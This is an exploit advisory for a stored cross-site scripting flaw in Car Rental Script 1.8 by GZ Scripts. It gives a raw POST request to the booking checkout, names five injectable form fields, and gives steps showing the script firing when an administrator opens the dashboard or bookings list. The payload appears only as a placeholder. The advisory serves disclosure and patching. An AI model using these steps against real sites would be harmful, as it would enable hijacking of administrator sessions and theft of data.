# Exploit Title: Car Rental Script 1.8 - Stored Cross-site scripting (XSS)# Date: 30/07/2023# Exploit Author: CraCkEr# Vendor: GZ Scripts# Vendor Homepage: https://gzscripts.com/# Software Link: https://gzscripts.com/car-rental-php-script.html# Version: 1.8# Tested on: Windows 10 Pro# Impact: Manipulate the content of the site
Release Notes:
Allow Attacker to inject malicious code into website, give ability to steal sensitive
information, manipulate data,and launch additional attacks.## Stored XSS-----------------------------------------------
POST /EventBookingCalendar/load.php?controller=GzFront&action=checkout&cid=1&layout=calendar&show_header=T&local=3 HTTP/1.1
payment_method=pay_arrival&event_prices%5B51%5D=1&event_prices%5B50%5D=1&event_prices%5B49%5D=1&title=mr&male=male&first_name=[XSS Payload]&second_name=[XSS Payload&phone=[XSS Payload&email=cracker%40infosec.com&company=xxx&address_1=[XSS Payload&address_2=xxx&city=xxx&state=xxx&zip=xxx&country=[XSS Payload&additional=xxx&captcha=qqxshj&terms=1&event_id=17&create_booking=1-----------------------------------------------
POST parameter 'first_name'is vulnerable to XSS
POST parameter 'second_name'is vulnerable to XSS
POST parameter 'phone'is vulnerable to XSS
POST parameter 'address_1'is vulnerable to XSS
POST parameter 'country'is vulnerable to XSS
## Steps to Reproduce:1. As a [Guest User] Select any[Pickup/Return Location]& Choose any[Time]&[Rental Age]- Then Click on [Search for rent a car]- Select Any Car
2. Inject your [XSS Payload]in"First Name"3. Inject your [XSS Payload]in"Last Name"4. Inject your [XSS Payload]in"Phone"5. Inject your [XSS Payload]in"Address Line 1"6. Inject your [XSS Payload]in"Country"7. Accept with terms & Press [Booking]
XSS Fired on Local User Browser.8. When ADMIN visit [Dashboard]in Administration Panel on this Path (https://website/index.php?controller=GzAdmin&action=dashboard)
XSS Will Fire and Executed on his Browser
9. When ADMIN visit [Bookings]-[All Booking] to check [Pending Booking] on this Path (https://website/index.php?controller=GzBooking&action=index)
XSS Will Fire and Executed on his Browser